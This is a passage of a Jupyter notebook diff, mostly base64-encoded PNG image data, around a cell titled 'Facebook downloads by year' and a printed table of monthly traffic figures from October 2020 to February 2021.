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" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook downloads by year\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 64, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Month Traffic(billions)\n", + "0 Oct_20 26.1\n", + "1 Nov_20 25.5\n", + "2 Dec_20 25.3\n", + "3 Jan_21 23.1\n", + "4 Feb_21 20.3\n" + ] + }, + { + "data": { + "image/png": "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